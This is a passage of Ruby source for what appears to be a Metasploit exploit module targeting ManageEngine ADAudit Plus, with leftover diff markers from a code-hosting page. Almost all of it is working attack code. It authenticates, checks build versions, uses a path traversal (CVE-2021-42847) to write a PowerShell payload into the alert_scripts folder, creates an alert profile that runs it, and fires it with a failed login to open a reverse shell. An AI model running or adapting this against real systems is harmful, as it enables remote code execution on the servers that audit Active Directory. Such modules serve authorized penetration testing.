'selectedCategory' => 'All',
|
||||
'domainName' => @domain,
|
||||
'isSave' => true,
|
||||
'alertProfileId' => 'new',
|
||||
'thresholdBasedAlert' => false,
|
||||
'thresholdCount' => rand(5..15),
|
||||
'thresholdPeriod' => '=',
|
||||
'thresholdInterval' => rand(3..10),
|
||||
'thresholdGroupingColumns' => [],
|
||||
'throttleBasedAlert' => false,
|
||||
'throttleInterval' => rand(30..90),
|
||||
'throttleGroupingColumns' => [],
|
||||
'userMap' => {},
|
||||
'hourBasedAlert' => false,
|
||||
'contentType' => 'html',
|
||||
'alertMsgNeeded' => true,
|
||||
'alertProfileNameNeeded' => true,
|
||||
'mailAlertLink' => '',
|
||||
'eventDetails' => true,
|
||||
'emailMoreRecipients' => '',
|
||||
'smsMoreRecipients' => '',
|
||||
'scriptLocation' => script_location,
|
||||
'alertFilter' => false,
|
||||
'criteriaValue' => '-'
|
||||
}.to_json
|
||||
|
||||
# we need to send along the alert name too since we'll need it to delete the alert after it's been created
|
||||
[alert_name, alert_data]
|
||||
end
|
||||
|
||||
def create_alert_script
|
||||
ps1_script_name = "#{rand_text_alpha_lower(5..10)}.ps1"
|
||||
print_status("Attempting to write the payload to /alert_scripts/#{ps1_script_name}")
|
||||
|
||||
if @domain.blank?
|
||||
@domain = "#{rand_text_alpha_lower(5..10)}.local"
|
||||
vprint_status("Using domain #{@domain} for the name of the directory we will be creating")
|
||||
end
|
||||
|
||||
gpo_post_data = {
|
||||
'DOMAIN_NAME' => @domain,
|
||||
'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed
|
||||
'htmlReport' => payload.encoded
|
||||
}
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => adaudit_plus_gpo_watcher_data_uri,
|
||||
'ctype' => 'application/json',
|
||||
'data' => generate_gpo_watcher_data_json(gpo_post_data)
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unreachable, 'Connection failed')
|
||||
end
|
||||
|
||||
unless res.code == 200 && res.body&.include?('{"success":true}')
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.')
|
||||
end
|
||||
|
||||
print_good("Successfully wrote the payload to /alert_scripts/#{ps1_script_name} in the ManageEngine ADAudit Plus install directory")
|
||||
ps1_script_name
|
||||
end
|
||||
|
||||
def check
|
||||
target_check_results = adaudit_plus_target_check
|
||||
target_check_msg = target_check_results['message']
|
||||
case target_check_results['status']
|
||||
when adaudit_plus_status::CONNECTION_FAILED
|
||||
return CheckCode::Unknown(target_check_msg)
|
||||
when adaudit_plus_status::UNEXPECTED_REPLY
|
||||
return CheckCode::Safe(target_check_msg)
|
||||
when adaudit_plus_status::SUCCESS
|
||||
vprint_status(target_check_msg)
|
||||
else
|
||||
# this covers cases that may be added in the future
|
||||
return CheckCode::Unknown(target_check_msg)
|
||||
end
|
||||
|
||||
target_check_res = target_check_results['server_response']
|
||||
|
||||
# In order to trigger the final payload in the exploit method, we will need to send an authentication request to
|
||||
# ADAudit Plus with incorrect Active Directory credentials if the user didn't provide an Active Directory domain,
|
||||
# we can try to extract the FQDN for a configured domain from the server response
|
||||
domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res)
|
||||
domain_alias_msg = domain_alias_results['message']
|
||||
if domain_alias_results['status'] == adaudit_plus_status::NO_DOMAINS
|
||||
return CheckCode::Safe(domain_alias_msg)
|
||||
end
|
||||
|
||||
domain_aliases = domain_alias_results['domain_aliases']
|
||||
# check if we actually have any configured domain aliases now, otherwise the target isn't exploitable
|
||||
if domain_aliases.blank?
|
||||
return CheckCode::Safe('Failed to verify if any Active Directory domains are configured on the target.')
|
||||
end
|
||||
|
||||
# if the only configured domain is the default domain, we will not be able to trigger the payload, so
|
||||
# stop as there is no point in proceeding
|
||||
if domain_aliases == ['ADAuditPlus Authentication']
|
||||
return CheckCode::Safe('No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')
|
||||
end
|
||||
|
||||
# set the domain alias to the first configured domain, unless the user provided an invalid domain
|
||||
# in the latter case, the module won't be able to authenticate to the target so there's no point in proceeding
|
||||
if auth_domain == 'ADAuditPlus Authentication' || domain_aliases.include?(auth_domain)
|
||||
vprint_status(domain_alias_msg)
|
||||
@domain_alias = domain_aliases.first
|
||||
print_status("Using configured authentication domain alias #{@domain_alias}.")
|
||||
else
|
||||
# this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed
|
||||
print_status(domain_alias_msg)
|
||||
return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")
|
||||
end
|
||||
|
||||
print_status("Attempting to authenticate to #{auth_domain} with username: #{username} and password: #{password}")
|
||||
login_results = adaudit_plus_login(auth_domain, username, password, false)
|
||||
login_msg = login_results['message']
|
||||
case login_results['status']
|
||||
when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY
|
||||
return CheckCode::Unknown(login_msg)
|
||||
when adaudit_plus_status::NO_ACCESS, NO_DOMAINS
|
||||
# if we cannot authenticate, we can't create an alert profile so exploitation is impossible
|
||||
# if no domains are configured, we cannot trigger the payload and therefore exploitation is impossible
|
||||
return CheckCode::Safe(login_msg)
|
||||
when adaudit_plus_status::SUCCESS
|
||||
@domain = login_results['configured_domains'].first
|
||||
vprint_status("Using domain #{@domain} for the name of the directory we will be creating")
|
||||
end
|
||||
|
||||
print_good('Successfully authenticated')
|
||||
@adapcsrf_cookie = login_results['adapcsrf_cookie']
|
||||
|
||||
# check the build version to see if we can actually exploit the target
|
||||
build_results = adaudit_plus_grab_build(@adapcsrf_cookie)
|
||||
build_msg = build_results['message']
|
||||
unless build_results['status'] == adaudit_plus_status::SUCCESS
|
||||
# if we don't get a valid build number, we don't know what the target is, so we can't proceed
|
||||
# however, we can also not say that the target is safe or detected, so we return Unknown
|
||||
return CheckCode::Unknown(build_msg)
|
||||
end
|
||||
|
||||
build_version = build_results['build_version']
|
||||
|
||||
if build_version < Rex::Version.new('7004')
|
||||
@exploit_method = 'default'
|
||||
CheckCode::Appears("The target is ADAudit Plus #{build_version}")
|
||||
# For builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 if the vulnerable endpoint exists
|
||||
elsif build_version < Rex::Version.new('7006')
|
||||
gpo_watcher_status = gpo_watcher_data_check
|
||||
case gpo_watcher_status
|
||||
when adaudit_plus_status::SUCCESS
|
||||
@exploit_method = 'cve_2021_42847'
|
||||
return CheckCode::Appears("The target is ADAudit Plus #{build_version} and the endpoint for CVE-2021-42847 exists.")
|
||||
when adaudit_plus_status::CONNECTION_FAILED
|
||||
return CheckCode::Detected("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint")
|
||||
when adaudit_plus_status::NO_ACCESS
|
||||
return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.")
|
||||
end
|
||||
else
|
||||
CheckCode::Safe("The target is ADAudit Plus #{build_version}")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
if @exploit_method.nil? # this means the user has disabled autocheck so we should try the default exploit method
|
||||
@exploit_method = 'default'
|
||||
elsif @exploit_method == 'cve_2021_42847' && datastore['PAYLOAD'] =~ /meterpreter/
|
||||
print_warning('Exploitation is possible only via CVE-2021-42847. This attack vector may fail in combination with a meterpreter payload.')
|
||||
print_warning('If exploitation fails, consider setting the payload back to the default cmd/windows/powershell_reverse_tcp payload')
|
||||
end
|
||||
|
||||
if @adapcsrf_cookie.blank?
|
||||
# let's clear the cookie jar and try to authenticate
|
||||
cookie_jar.clear
|
||||
print_status("Attempting to authenticate to #{@domain_alias} with username: #{username} and password: #{password}")
|
||||
login_results = adaudit_plus_login(auth_domain, username, password, false)
|
||||
login_msg = login_results['message']
|
||||
case login_results['status']
|
||||
when adaudit_plus_status::CONNECTION_FAILED
|
||||
fail_with(Failure::Unreachable, login_msg)
|
||||
when adaudit_plus_status::UNEXPECTED_REPLY
|
||||
fail_with(Failure::UnexpectedReply, login_msg)
|
||||
when adaudit_plus_status::NO_ACCESS
|
||||
fail_with(Failure::NoAccess, login_msg)
|
||||
when adaudit_plus_status::NO_DOMAINS
|
||||
fail_with(Failure::NotVulnerable, login_msg)
|
||||
when adaudit_plus_status::SUCCESS
|
||||
@domain = login_results['configured_domains'].first
|
||||
vprint_status("Using domain #{@domain} for the name of the directory we will be creating")
|
||||
else
|
||||
# this covers other potential statuses that may be added in the future
|
||||
fail_with(Failure::Unknown, login_msg)
|
||||
end
|
||||
|
||||
print_good('Successfully authenticated')
|
||||
@adapcsrf_cookie = login_results['adapcsrf_cookie']
|
||||
end
|
||||
|
||||
# let's create the alert profile
|
||||
create_alert_profile
|
||||
|
||||
# time to trigger the payload
|
||||
if @domain_alias.nil?
|
||||
# this means check didn't run, so we need to obtain the configured Active Directory domains
|
||||
target_check_results = adaudit_plus_target_check
|
||||
target_check_status = target_check_results['status']
|
||||
target_check_msg = target_check_results['message']
|
||||
unless target_check_status == adaudit_plus_status::SUCCESS
|
||||
print_error('Failed to obtain the configured Active Directory domain aliases')
|
||||
case target_check_status
|
||||
when adaudit_plus_status::CONNECTION_FAILED
|
||||
fail_with(Failure::Unreachable, target_check_msg)
|
||||
when adaudit_plus_status::UNEXPECTED_REPLY
|
||||
fail_with(Failure::UnexpectedReply, target_check_msg)
|
||||
else
|
||||
# this covers other potential statuses that this method may return in the future
|
||||
fail_with(Failure::Unknown, target_check_msg)
|
||||
end
|
||||
end
|
||||
|
||||
target_check_res = target_check_results['server_response']
|
||||
fail_with(Failure::UnexpectedReply, 'No body in the server response when performing a target version check!') if target_check_res.body.blank?
|
||||
|
||||
# In order to trigger the final payload in the exploit method, we will need to send an authentication request to
|
||||
# ADAudit Plus with incorrect Active Directory credentials. If the user didn't provide an Active Directory domain,
|
||||
# we can try to extract the FQDN for a configured domain from the server response.
|
||||
domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body)
|
||||
domain_alias_msg = domain_alias_results['message']
|
||||
case domain_alias_results['status']
|
||||
when adaudit_plus_status::NO_DOMAINS
|
||||
fail_with(Failure::NotVulnerable, domain_alias_msg)
|
||||
when adaudit_plus_status::SUCCESS
|
||||
# make sure we actually have a domain alias, otherwise the target is not vulnerable
|
||||
if domain_alias_results['domain_aliases'].blank?
|
||||
fail_with(Failure::NotVulnerable, 'Failed to verify if any Active Directory domains are configured on the target.')
|
||||
end
|
||||
else
|
||||
fail_with(Failure::Unknown, domain_alias_msg)
|
||||
end
|
||||
|
||||
domain_aliases = domain_alias_results['domain_aliases']
|
||||
# if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed
|
||||
if domain_aliases == ['ADAuditPlus Authentication']
|
||||
fail_with(Failure::NoTarget, 'No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')
|
||||
end
|
||||
|
||||
# set the domain alias to the first configured domain, unless the user provided an invalid domain
|
||||
# in the latter case, the module won't be able to authenticate to the target so there's no point to proceed
|
||||
if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain)
|
||||
vprint_status(domain_alias_msg)
|
||||
@domain_alias = domain_aliases.first
|
||||
print_status("Using configured authentication domain alias #{@domain_alias}.")
|
||||
else
|
||||
# this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed
|
||||
print_status(domain_alias_msg)
|
||||
fail_with(Failure::BadConfig, "The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.")
|
||||
login_results = adaudit_plus_login(@domain_alias, rand_text_alphanumeric(5..8), rand_text_alphanumeric(8..12), true)
|
||||
login_msg = login_results['message']
|
||||
manual_trigger_msg = "You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain."
|
||||
case login_results['status']
|
||||
when adaudit_plus_status::CONNECTION_FAILED
|
||||
fail_with(Failure::Unreachable, "#{login_msg} #{manual_trigger_msg}")
|
||||
when adaudit_plus_status::UNEXPECTED_REPLY
|
||||
fail_with(Failure::UnexpectedReply, "#{login_msg} #{manual_trigger_msg}")
|
||||
when adaudit_plus_status::NO_ACCESS
|
||||
print_status("Received expected reply when trying to trigger the payload. Let's hope we get a shell...")
|
||||
when adaudit_plus_status::SUCCESS
|
||||
fail_with(Failure::Unknown, "Somehow authentication succeeded, which means the payload was not triggered. #{manual_trigger_msg}")
|
||||
else
|
||||
print_warning('Received unknown error code when trying to trigger the payload. The module will continue but exploitation will likely fail.')
|
||||
end
|
||||
|
||||
@pwned = 0 # used to keep track of successful exploitation and the number of shells we get in cleanup and on_new_session
|
||||
end
|
||||
|
||||
def cleanup
|
||||
return unless @alert_name # this should only run if we actually created an alert
|
||||
|
||||
if @pwned == 0
|
||||
print_error('Failed to obtain a shell. You could try increasing the WfsDelay value')
|
||||
end
|
||||
cookie_jar.clear
|
||||
login_results = adaudit_plus_login(auth_domain, username, password, true)
|
||||
case login_results['status']
|
||||
when adaudit_plus_status::SUCCESS
|
||||
delete_alert(login_results['adapcsrf_cookie'])
|
||||
when adaudit_plus_status::CONNECTION_FAILED
|
||||
print_warning('Connection failed when trying to authenticate in order to perform cleanup. Manual cleanup required.')
|
||||
when adaudit_plus_status::UNEXPECTED_REPLY
|
||||
print_warning('Received unexpected reply when trying to authenticate in order to perform cleanup. Manual cleanup required.')
|
||||
when adaudit_plus_status::NO_ACCESS
|
||||
print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.')
|
||||
else
|
||||
# this covers other potential statuses that this method may return in the future
|
||||
# note that here the login method should never return adaudit_plus_status::NO_DOMAINS
|
||||
# however, if it would do so due to some library change, treating it as unexpected reply makes sense
|
||||
print_warning('Received unknown error code when trying to authenticate in order to perform cleanup. Manual cleanup required.')
|
||||
end
|
||||
end
|
||||
|
||||
def on_new_session(cli)
|
||||
@pwned += 1
|
||||
# if we wrote a PowerShell script to /alert_scripts, remind the user to delete it
|
||||
# we may get two shells, so let's not repeat ourselves
|
||||
if @pwned == 1
|
||||
# I noticed the the meterpreter payloads wouldn't always load stdapi and/or priv automatically
|
||||
# but when loading them manually, they worked it fine
|
||||
if datastore['PAYLOAD'] =~ /meterpreter/ # I tried using cli.type == 'meterpreter' but that broke the module for some reason
|
||||
print_warning("If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'")
|
||||
end
|
||||
|
||||
if @ps1_script_name
|
||||
# meterpreter payloads seem incompatible with CVE-2021-42847, so it's very unlikely we'll ever be able to automatically remove the ps1 script
|
||||
print_warning("Make sure to manually cleanup the #{@ps1_script_name} file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory")
|
||||
end
|
||||
end
|
||||
super
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user